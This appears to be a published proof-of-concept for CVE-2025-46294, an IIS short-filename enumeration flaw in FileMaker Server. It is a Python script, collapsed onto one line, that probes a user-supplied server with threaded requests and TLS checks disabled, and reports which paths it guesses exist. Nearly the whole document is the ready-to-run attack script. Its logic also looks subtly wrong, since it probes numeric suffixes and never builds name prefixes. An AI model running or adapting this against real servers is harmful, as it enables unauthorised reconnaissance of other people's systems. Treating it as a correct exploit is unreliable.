CVE-2025-46294 FileMaker Server IIS短文件名枚举漏洞

#!/usr/bin/env python3 # CVE-2025-46294 IIS Short Name Enumeration PoC # Target: FileMaker Server with IIS import requests import sys from concurrent.futures import ThreadPoolExecutor def check_shortname(target_url, suffix): """Check if a short filename exists by testing ~suffix pattern""" paths_to_test = [ f"/~{suffix}", f"/~{suffix}.as*", f"/~{suffix}.ht*", f"/~{suffix}.co*" ] for path in paths_to_test: try: url = f"{target_url.rstrip('/')}{path}" response = requests.get(url, timeout=5, verify=False) # If status is 400 Bad Request, short name exists # If status is 404 Not Found, short name doesn't exist if response.status_code == 400: return {'suffix': suffix, 'path': path, 'exists': True} elif response.status_code == 404: continue except requests.RequestException: continue return {'suffix': suffix, 'path': None, 'exists': False} def enumerate_shortnames(target_url, max_suffix=20, threads=10): """Enumerate potential short filenames""" print(f"[*] Starting IIS shortname enumeration on {target_url}") print(f"[*] Testing suffixes 0-{max_suffix} with {threads} threads\n") results = [] with ThreadPoolExecutor(max_workers=threads) as executor: futures = [executor.submit(check_shortname, target_url, i) for i in range(max_suffix + 1)] for future in futures: result = future.result() if result['exists']: results.append(result) print(f"[+] Found potential file/directory: ~{result['suffix']}") print(f"\n[*] Enumeration complete. Found {len(results)} potential targets.") return results if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-46294_poc.py <target_url>") print("Example: python cve-2025-46294_poc.py http://filemaker-server/") sys.exit(1) target = sys.argv[1] enumerate_shortnames(target)